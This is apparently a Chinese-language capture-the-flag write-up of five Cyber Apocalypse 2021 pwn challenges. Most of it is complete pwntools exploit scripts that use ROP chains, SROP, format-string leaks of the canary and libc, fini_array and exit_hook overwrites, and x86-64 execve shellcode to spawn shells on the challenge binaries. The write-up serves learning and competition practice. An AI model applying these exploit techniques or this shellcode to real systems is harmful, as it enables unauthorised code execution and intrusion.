Controller

  考点是整数溢出和scanf函数的引发的栈溢出漏洞,泄露libc地址将返回地址覆盖成one_gadgets拿到shell。

 1 from pwn import *
2
3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc.so.6'})
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 pop_rdi = 0x004011d3
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 p.recvuntil('recources: ')
12 p.sendline('-1 -65339')
13 p.sendlineafter('> ','2')
14 p.recvuntil('problem?\n> ')
15
16 payload = 'a'*0x20+'bbbbbbbb'
17 payload+= p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
18 payload+= p64(elf.symbols['_start'])
19 p.sendline(payload)
20 p.recvuntil('ingored\n')
21 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['puts']
22 print 'libc_base-->'+hex(libc_base)
23 shell = libc_base+og[0]
24
25 p.recvuntil('recources: ')
26 p.sendline('-1 -65339')
27 p.sendlineafter('> ','2')
28 p.recvuntil('problem?\n> ')
29
30 payload = 'a'*0x20+'bbbbbbbb'
31 payload+= p64(shell)
32 p.sendline(payload)
33 p.interactive()

Minefield

  程序保护如图:

  程序有一个任意写,并且有后门函数。

  • RELRO保护为NO RELRO的时候,init.array、fini.array、got.plt均可读可写;
  • PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;
  • FULL RELRO时,init.array、fini.array、got.plt均可读不可写。
  • 程序在加载的时候,会依次调用init.array数组中的每一个函数指针,在结束的时候,依次调用fini.array中的每一个函数指针。

  程序在执行的时候,流程如下图:

  简单地说,在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary的函数数组中的每一个函数指针。

  所以这道题,思路就是直接打.fini_array数组,让指向后门函数,在main函数执行完之后就会执行后门函数,就可以拿到flag了。

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context.log_level = 'debug'
6
7 p.sendlineafter('> ','2')
8 p.sendafter('mine: ','6295672')
9 p.sendafter('plant: ','4196715')
10 p.recv()
11 p.recv()

System dROP

  此题有点坑,我换了三种方法都没做出来。

  程序很简单,就只有一个read函数,但是程序端存在syscall ret。

  我很自觉的就想到srop了。这里我说一下我用的3种方法:

  1.通过read函数的返回值给rax,让syscall调用write函数泄露libc版本,用one_gadgets打。

  2.用srop调用execve拿shell。

  3.用srop调用mprotect将bss段赋予可执行权限,自己写shellcode来拿shell。

exp1:

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 pop_rdi = 0x0004005d3
13 pop_rsi_r15 = 0x004005d1
14 buf = elf.bss()+0x100
15 syscall = 0x0040053B
16 main = elf.symbols['_start']
17 leave_ret = 0x0040056E
18 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
19 ret = 0x0040056F
20
21 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
22 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
23 payload+= p64(main)
24 p.send(payload)
25 payload = p64(pop_rdi)+p64(0)
26 payload+= p64(pop_rsi_r15)+p64(buf+0x100)+p64(0)
27 payload+= p64(elf.plt['read'])
28 payload+= p64(pop_rdi)+p64(1)
29 payload+= p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)
30 payload+= p64(syscall)
31 payload+= p64(pop_rdi)+p64(0)
32 payload+= p64(pop_rsi_r15)+p64(0x6011c0+8)+p64(0)
33 payload+= p64(elf.plt['read'])
34 p.send(payload)
35
36 payload = 'a'*0x20+p64(buf-8)+p64(leave_ret)
37 p.send(payload)
38 p.send('a')
39 libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['read']
40 print 'libc_base-->'+hex(libc_base)
41 system = libc_base+libc.symbols['system']
42 binsh = libc_base+libc.search('/bin/sh').next()
43 shell = libc_base+og[1]
44
45 payload = p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
46
47 payload = p64(shell)
48 p.send(payload)
49 p.interactive()

exp2:

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 pop_rdi = 0x0004005d3
13 pop_rsi_r15 = 0x004005d1
14 buf = elf.bss()+0x150
15 syscall = 0x0040053B
16 main = elf.symbols['_start']
17 leave_ret = 0x0040056E
18
19 sigframe = SigreturnFrame()
20 sigframe.rax = constants.SYS_execve
21 sigframe.rdi = buf
22 sigframe.rsi = 0
23 sigframe.rdx = 0
24 sigframe.rsp = 16
25 sigframe.rbp = 0
26 sigframe.r8 = 0
27 sigframe.r9 = 0
28 sigframe.r10 = 0
29 sigframe.rip = syscall
30
31 #payload = p64(start_addr)+'a'*0x8+str(sigframe)
32 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
33 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
34 payload+= p64(main)
35 p.send(payload)
36
37 payload = '/bin/sh\x00'
38 payload+= p64(pop_rsi_r15)+p64(0x6011d0+8)+p64(0)
39 payload+= p64(elf.plt['read'])
40 payload+= p64(pop_rsi_r15)+p64(buf+0x200)+p64(0)
41 payload+= p64(elf.plt['read'])+p64(syscall)
42 p.send(payload)
43
44 payload = 'a'*0x20+p64(buf)+p64(leave_ret)
45 p.send(payload)
46 p.send(str(sigframe))
47 p.send('a'*15)
48 p.interactive()

exp3:

 1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('46.101.23.157',32462)
5 elf = ELF('./pwn')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 pop_rdi = 0x0004005d3
13 pop_rsi_r15 = 0x004005d1
14 buf = elf.bss()+0x150
15 syscall = 0x0040053B
16 main = elf.symbols['_start']
17 leave_ret = 0x0040056E
18 ret = 0x000040056F
19
20 sigframe = SigreturnFrame()
21 sigframe.rax = constants.SYS_mprotect
22 sigframe.rdi = buf&0xFFFFFFFFFFFFF000
23 sigframe.rsi = 0x1000
24 sigframe.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
25 sigframe.rsp = buf
26 sigframe.rip = syscall
27
28 #payload = p64(start_addr)+'a'*0x8+str(sigframe)
29 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
30 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
31 payload+= p64(main)
32 p.send(payload)
33 #00400541
34 payload = p64(0x0400541)
35 payload+= p64(pop_rsi_r15)+p64(buf+0x50)+p64(0)
36 payload+= p64(elf.plt['read'])
37 payload+= p64(pop_rsi_r15)+p64(buf+0x200)+p64(0)
38 payload+= p64(elf.plt['read'])+p64(syscall)
39
40 p.send(payload)
41
42 payload = 'a'*0x20+p64(buf)+p64(leave_ret)
43 p.send(payload)
44 p.send(str(sigframe))
45 p.send('a'*15)
46 shellcode=asm(
47 '''
48 xor rsi,rsi
49 mul esi
50 push rax
51 mov rbx,0x68732f2f6e69622f
52 push rbx
53 push rsp
54 pop rdi
55 mov al, 59
56 syscall
57 '''
58 )
59 payload = shellcode.ljust(0x28,'\x00')+p64(ret)+p64(ret)+p64(ret)+p64(0x601168)
60 p.send(payload)
61 p.interactive()

  比较遗憾的是,这三种方法都是本地可以拿到shell,远程拿不到。未解之谜,不知道为什么拿不到shell。。。

  上面三个exp的共同点是,都是执行了两次main函数或者start函数。有师傅告诉我说一次性搞定,别再重启程序。我贴一下main函数的汇编,惊奇的发现,在执行完read函数之后,竟然有mov eax,1的操作。。。如此一来,就不用利用read函数的返回值给rax赋值就可以调用write函数了。(果然,做系统调用的题还是得多看汇编)

  如此一来,就是先用系统调用泄露libc版本,然后调用read函数在bss段写one_gadgets,再栈转移过去执行拿shell。

exp:

 1 from pwn import *
2 context.log_level='debug'
3
4 p = process('./pwn')
5 elf=ELF('./pwn')
6 libc=ELF('./libc.so.6')
7
8 pop_rdi=0x0004005d3
9 pop_rsi_r15=0x0004005d1
10 syscall_ret=0x40053b
11 leave_ret=0x000040056e
12 og = [0x4f365,0x4f3c2,0x10a45c]
13
14 payload='a'*0x20+p64(0x601138)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)+p64(syscall_ret)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x601140)+p64(0)+p64(elf.plt['read'])+p64(leave_ret)
15 p.sendline(payload)
16 libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['read']
17 shell = libc_base+og[1]
18 print 'libc_base-->'+hex(libc_base)
19
20 payload=p64(shell)
21 p.sendline(payload)
22 p.interactive()

Harvester

  格式化字符串漏洞泄露canary和libc版本,栈溢出覆盖返回地址拿shell。

 1 from pwn import *
2
3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 og = [0x4f3d5,0x4f432,0x10a41c]
9
10 #leak canary
11 p.recvuntil('> ')
12 p.sendline('1')
13 p.recvuntil('> ')
14 p.send('%11$p')
15 p.recvuntil('is: ')
16 canary = int(p.recvuntil('00'),16)
17 print 'canary-->'+hex(canary)
18
19 #leak libc_base
20 p.recvuntil('> ')
21 p.sendline('1')
22 p.recvuntil('> ')
23 p.send('%21$p')
24 p.recvuntil('is: ')
25 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main']
26 print 'libc_base-->'+hex(libc_base)
27 shell = libc_base+og[0]
28
29 p.recvuntil('> ')
30 p.sendline('2')
31 p.recvuntil('> ')
32 p.sendline('y')
33 p.recvuntil('> ')
34 p.sendline('-11')
35
36 payload = 'a'*0x28+p64(canary)+'bbbbbbbb'+p64(shell)
37 p.recvuntil('> ')
38 p.sendline('3')
39 p.recvuntil('> ')
40 p.send(payload)
41 p.interactive()

Save_the_environment

  可以直接拿到libc地址,有一次任意写的机会,直接打exit_hook为one_gadgets拿到shell。

  因该是非预期了,因为有一次任意读没有用到。而且这个存在一定的偶然性,因为我提前知道了libc版本,即使我本地的环境也是2.27,但是在找exit_hook的时候,还是费了很大劲。原因是因为小版本的libc地址和ld地址的距离不一样,不过好在差距都是差0x1000的倍数,好找一点。

 1 from pwn import *
2
3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 og = [0x4f3d5,0x4f432,0xe546f,0xe5617,0xe561e,0xe5622,0x10a41c,0x10a428]
9
10 for i in range(5):
11 p.sendlineafter('> ','2')
12 p.sendlineafter('> ','1')
13 p.sendlineafter('> ','n')
14
15 libc_base = int(p.recvuntil(']')[-15:-1],16)-libc.symbols['printf']
16 print 'libc_base-->'+hex(libc_base)
17 exit_hook = libc_base+0x619060+3840
18 shell = libc_base+og[7]
19 print 'exit_hook-->'+hex(exit_hook)
20 free_hook = libc_base+libc.symbols['__free_hook']
21 malloc_hook = libc_base+libc.symbols['__malloc_hook']
22 print 'free_hook-->'+hex(free_hook)
23 environ = libc_base+libc.symbols['environ']
24 '''
25 for i in range(5):
26 p.sendlineafter('> ','2')
27 p.sendlineafter('> ','1')
28 p.sendlineafter('> ','n')
29 p.recvuntil('want.\n')
30 p.send(str(environ))
31 stack = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
32 print 'stack-->'+hex(stack)
33 attack = stack-288
34 print 'attack-->'+hex(attack)
35 '''
36 p.sendlineafter('> ','1')
37 #p.sendlineafter('> ',str(exit_hook+8+0x2000))
38 p.sendlineafter('> ',str(exit_hook+8))
39 p.sendlineafter('> ',str(shell))
40 p.interactive()

小结

  1.学习到了fini.array的利用。

  2.做系统调用的题多看汇编。

  3.exit_hook好用,但是偏移得在实际环境种慢慢调试。

  4.libc_base+libc.symbols['environ']中会存在栈地址,可以用来泄露栈地址。

后记

  没有学到堆利用,但是巩固了栈的很多知识。感觉还不错,就是熬夜做题太伤身体了。。。

Cyber Apocalypse 2021 pwn write up的更多相关文章

  1. 2021能源PWN wp

    babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...

  2. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

  3. 【wp】HWS计划2021硬件安全冬令营线上选拔赛

    逆向手在夹缝中艰难求生系列. 这篇真的存粹是做题笔记了,对内核驱动啥的不太懂,pwn也不会,能做出来的题都是硬逆出来的( childre最后死活没整出来,后来看大佬的wp才知道对子进程有修改(.)呜呜 ...

  4. pwn题命令行解题脚本

    目录 脚本说明 脚本内容 使用 使用示例 参考与引用 脚本说明 这是专门为本地调试与远程答题准备的脚本,依靠命令行参数进行控制. 本脚本支持的功能有: 本地调试 开启tmux调试 设置gdb断点,支持 ...

  5. 2021 羊城杯WriteUP

    比赛感受 题目质量挺不错的,不知道题目会不会上buu有机会复现一下,躺了个三等奖,发下队伍的wp Team BinX from GZHU web Checkin_Go 源码下载下来发现是go语言写的 ...

  6. 2020ACTF pwn writeup

    为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...

  7. 2021羊城杯比赛复现(Crypto)

    bigrsa 题目: from Crypto.Util.number import * from flag import * n1 = 10383529640908175186077053551474 ...

  8. [pwn基础]动态链接原理

    目录 [pwn基础]动态链接原理 动态链接概念 动态链接调用so例子 GOT(全局偏移表) got表劫持小实验 PLT(延迟绑定) PLT概念 延迟绑定(PLT表) 实战学习 [pwn基础]动态链接原 ...

  9. [pwn基础] Linux安全机制

    目录 [pwn基础] Linux安全机制 Canary(栈溢出保护) 开启关闭Cannary Canary的种类 Terminator canaries(终结者金丝雀) Random cannarie ...

随机推荐

  1. python实现直线检测

    目录: (一)原理 (二)代码(标准霍夫线变换,统计概率霍夫线变换) (一)原理 1.霍夫变换(Hough Transform) 霍夫变换是图像处理中从图像中识别几何形状的基本方法之一,应用很广泛,也 ...

  2. [atARC066F]Contest with Drinks Hard

    先不考虑修改,那么很明显即对于每一个极长的的区间,若其长度为$l$,有${l+1\choose 2}$的贡献 考虑dp去做,即$f_{i}$表示前$i$个数最大的答案,则$$f_{i}=\max(\m ...

  3. FastAPI(六十三)实战开发《在线课程学习系统》梳理系统需要接口

    针对上一篇FastAPI(六十二)实战开发<在线课程学习系统>需求分析需求的功能,我们对需要的接口进行梳理,大概的规划出来现有的接口,作为我们第一版的接口的设计出版,然后我们根据设计的接口 ...

  4. Redis | 第一部分:数据结构与对象 中篇《Redis设计与实现》

    目录 前言 1. 跳跃表 1.1 跳跃表与其节点的定义 1.2 跳跃表的API 2. 整数集合 2.1 整数集合的实现 2.2 整数集合的类型升级 2.3 整数集合的API 3. 压缩列表 3.1 压 ...

  5. 从零开始,使用Dapr简化微服务

    序言 现有的微服务模式需要再业务代码中集成大量基础设施模块,比如注册中心,服务发现,服务调用链路追踪,请求熔断,重试限流等等,使得系统过于臃肿重量级. Dapr作为新一代微服务模式,使用sidecar ...

  6. IDEA:Git stash 暂存分支修改的代码

    IDEA:Git stash 暂存分支修改的代码 场景:当我们正在master分支开发新功能的时候,突然接到一个任务发现线上出现了一个紧急的BUG需要修复,由于没有打新分支做这部分新需求,这时正做到半 ...

  7. nginx安装与配置3-反向代理两台

    1.nginx 反向代理 两台tomcat 2.8080.8081 启动tomcat 记住每个tomcat都有两个端口不要出现tomcat端口占用情况 3.启动项目访问,不报错可以访问 4.在每个to ...

  8. Java设计模式之(十三)——模板方法模式

    1.什么是模板模式? Define the skeleton of an algorithm in an operation, deferring some steps to subclasses. ...

  9. MongoDB的搭建、参数

    Mongodb官网:https://www.mongodb.com/ mkdir -r  /data/db touch  /data/log tar -zxvf mongodb-linux-x86_6 ...

  10. day11 函数

    day11 函数 一.函数基础 """ 1 什么是函数 函数是盛放代码的容器:把实现某一功能的代码放到一个函数内就制造一个工具 2 为何要用函数 没有用函数之前程序的问题 ...